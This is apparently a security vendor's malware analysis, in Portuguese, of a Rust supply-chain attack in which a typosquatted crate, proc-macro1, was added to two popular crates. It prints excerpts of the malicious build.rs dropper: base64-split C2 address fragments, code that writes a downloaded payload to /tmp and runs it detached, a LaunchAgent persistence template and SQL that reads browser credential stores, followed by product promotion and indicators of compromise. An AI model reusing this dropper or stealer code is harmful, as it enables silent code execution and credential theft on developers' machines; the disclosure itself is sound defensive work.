A 20 de agosto, detetámos duas crates populares do Rust criadas pelo mesmo mantenedor, vector de adição exclusiva (4 milhões de downloads) e referência a uma matriz (244 milhões de downloads) foram comprometidos. O atacante adicionou uma dependência maliciosa a um pacote chamado proc-macro1, que descarrega um código malicioso remoto durante a compilação e o executa no computador do programador. Como a dependência é executada na fase de compilação, basta compilar um projeto que inclua qualquer uma dessas crates para desencadear a infeção, sem necessidade de invocar qualquer uma das funcionalidades efetivas da crate. Isto é consideravelmente mais grave do que o anterior: Compromisso relativo à caixa de carga que abordámos em junho. Desta vez, o alcance do ataque é muito maior, tornando-o o maior caso de comprometimento de caixas no Rust que já observámos em termos de número de downloads.
O que aconteceu
A primeira vez que apanhámos proc-macro1 no nosso pipeline, como um novo pacote que faz algo suspeito: descarrega um ficheiro remoto e executa-o. O nome é um «typosquat» de proc-macro2, um dos crates mais utilizados no ecossistema do Rust, e o pacote copia a descrição, o nome do autor e a documentação do crate original para se fazer passar pelo projeto genuíno. Dado o baixo número de downloads,, inicialmente não demos muita importância ao assunto. No entanto, ainda nessa mesma hora, deparámo-nos com dois pacotes populares do mantenedor de vector de adição exclusiva e referência a uma matriz passar a depender, de repente, de proc-macro1. Foi isso que transformou um caso comum de «typosquatting» num verdadeiro incidente na cadeia de abastecimento.
À primeira vista, os dois crates comprometidos parecem estar em ordem. O código-fonte da biblioteca de ambos é o código original do upstream, e nenhum dos crates faz referência a proc-macro1 em qualquer ponto do código-fonte. A alteração consiste, na totalidade, numa única linha inserida em cada manifesto:
[dependências]
proc-macro1 = "1.0.107"A lógica maliciosa reside inteiramente no build.rs ficheiro de proc-macro1, que o Cargo compila e executa automaticamente durante uma compilação. O script de compilação oculta o seu destino de rede sob a forma de fragmentos base64 para contornar os verificadores de cadeias de caracteres:
// O SRC descodifica para https://23[.]254[.]165[.]112:9089/
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
// O END descodifica-se como 23[.]254[.]165[.]112:443
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];Na fase de compilação, seleciona uma carga útil específica para o sistema operativo e a arquitetura da CPU da vítima (Linux x86_64, Windows x86_64, macOS x86_64, macOS aarch64) e, em seguida, descarrega-a através de HTTPS com um pedido GET simples. No Unix e no macOS, grava os bytes descarregados no disco, marca o ficheiro como executável e executa-o em modo separado, com a saída suprimida:
fn run_unix_payload(bytes: Vec<u8>) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
// chmod +x /tmp/rust-setup
Command::new("chmod").args(["+x", path.to_str().unwrap()]).status().unwrap();
// execute detached, handing it the second address (23[.]254[.]165[.]112:443)
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}No Windows, o código cria um script do PowerShell e executa-o de forma oculta através de um lançador wscript e .vbs, uma técnica que, conforme indicado no próprio comentário do código, foi escolhida para « escape » o objeto de tarefa do Cargo, de modo a que o processo iniciado continue a ser executado após a conclusão da compilação.
Detetámos também um pacote malicioso semelhante chamado proc-macro-en, publicado sob o nome do autor daveroundy. Esse nome de autor imita droundy, o responsável legítimo pela manutenção de vector de adição exclusiva e referência a uma matriz, o que sugere que o atacante estava a criar pacotes semelhantes adicionais e a fazer-se passar pelo mesmo responsável pela manutenção para lhes conferir credibilidade.
O payload
Conseguimos duas das quatro compilações para plataforma, a ELF para Linux x86_64 (rust-crate_0.1.0) e o Mach-O do macOS para a arquitetura aarch64 (rust-crate_0.4.0). A amostra do Windows PowerShell que recebemos era um ficheiro de zero bytes, pelo que não continha qualquer conteúdo para analisar. Ambos os binários nativos são executáveis em Rust e pertencem à mesma família de malware, compilados para alvos diferentes.
O seu servidor de comando e controlo não está codificado de forma fixa no ficheiro binário. Em vez disso, o ficheiro binário lê-o a partir do argumento da linha de comandos com que foi executado, que corresponde exatamente ao segundo endereço (23[.]254[.]165[.]112:443) que o build.rs O dropper passa quando gera a carga útil. Assim, o IP é um indicador deste ataque, e o mesmo ficheiro binário poderá ser reutilizado no futuro com um C2 diferente.
Confirmámos isto na versão para macOS através da desmontagem do código. O programa de roubo de dados lê os argumentos do seu próprio processo através de _NSGetArgc e _NSGetArgv, reúne-os numa lista e, posteriormente, insere um valor de host num caminho de construção de URL: https://{host}/49890878.
Rouba-informações
A carga útil contém um programa de roubo de informações que visa as credenciais armazenadas pelos navegadores baseados no Chromium. A versão para macOS faz referência às localizações dos perfis do Google Chrome, do Brave e do Microsoft Edge e inclui código SQL incorporado que lê as credenciais guardadas diretamente da base de dados de inícios de sessão do navegador:
SELECT DISTINCT origin_url DE logins ONDE origin_url É NÃO NULL ...
SELECT DISTINCT valor_do_nome_de_utilizador DE logins ONDE valor_do_nome_de_utilizador É NÃO NULL ...Faz também referência ao armazenamento das extensões do navegador (Definições de extensão locais), que é onde muitas carteiras de criptomoedas baseadas em navegador guardam os seus dados, pelo que o âmbito da recolha abrange tanto os dados de início de sessão guardados como o conteúdo das carteiras.
Persistência
No macOS, a compilação inclui um modelo de lista de propriedades do LaunchAgent e o Biblioteca/LaunchAgents componente do caminho, juntamente com um RunAtLoad chave. O modelo é preenchido em tempo de execução e está configurado para executar um comando de shell através de /bin/zsh -c.
Recuperámos o modelo incorporado. O Etiqueta e a cadeia de comando são espaços reservados que são preenchidos quando o agente é gravado no disco:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>x</string>
<key>ProgramArguments</key>
<array>
<string>/bin/zsh</string>
<string>-c</string>
<string>D</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>A presença deste modelo e do Biblioteca/LaunchAgents O caminho constitui uma forte indicação de que a carga útil está configurada para instalar um LaunchAgent ao nível do utilizador, com o objetivo de garantir a persistência.
Comando e controlo
Temos fortes indícios de que a carga útil também contém um executador de comandos remotos leve. Após ser iniciado, este efetua um registo junto do servidor, enviando um conjunto estruturado de campos que identificam a máquina infetada, incluindo um ID, o URL principal e detalhes básicos do anfitrião, tais como os_type, os_ver, os_arch, versão_da_plataforma, aplicação, e e-mail. O servidor pode então responder com tarefas, e a carga útil encaminha-as para um distribuidor interno. O distribuidor suporta um pequeno conjunto fixo de comandos. Os nomes que recuperámos são minicfg, startup, runscript, Concha, e ShellX. O runscript, Concha, e ShellX são os comandos de execução. Também descobrimos uma primitiva de espera temporizada, o que indica que a carga útil provavelmente consulta o servidor C2 a intervalos regulares para verificar se há novos comandos, em vez de o contactar apenas uma vez.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Indicadores de comprometimento
Pacotes afetados
proc-macro-en1.0.10 (dependência maliciosa)proc-macro11.0.107 (dependência maliciosa)vector de adição exclusiva0.1.9, comprometida (4 484 606 transferências)referência a uma matriz0.3.10, comprometida (244 989 384 transferências)
Indicadores de rede
23[.]254[.]165[.]112:9089- Servidor de entrega de carga útil23[.]254[.]165[.]112:443- O servidor C2 passado como argumento à carga útil executada
Indicadores de ficheiros
Os ficheiros binários da carga útil proc-macro1 downloads, caíram para /tmp/rust-setup no Linux e no macOS:
rust-crate_0.1.0(Linux x86_64 ELF)- SHA-256:
408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
- SHA-256:
rust-crate_0.4.0(macOS aarch64 Mach-O)- SHA-256:
74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306
- SHA-256:

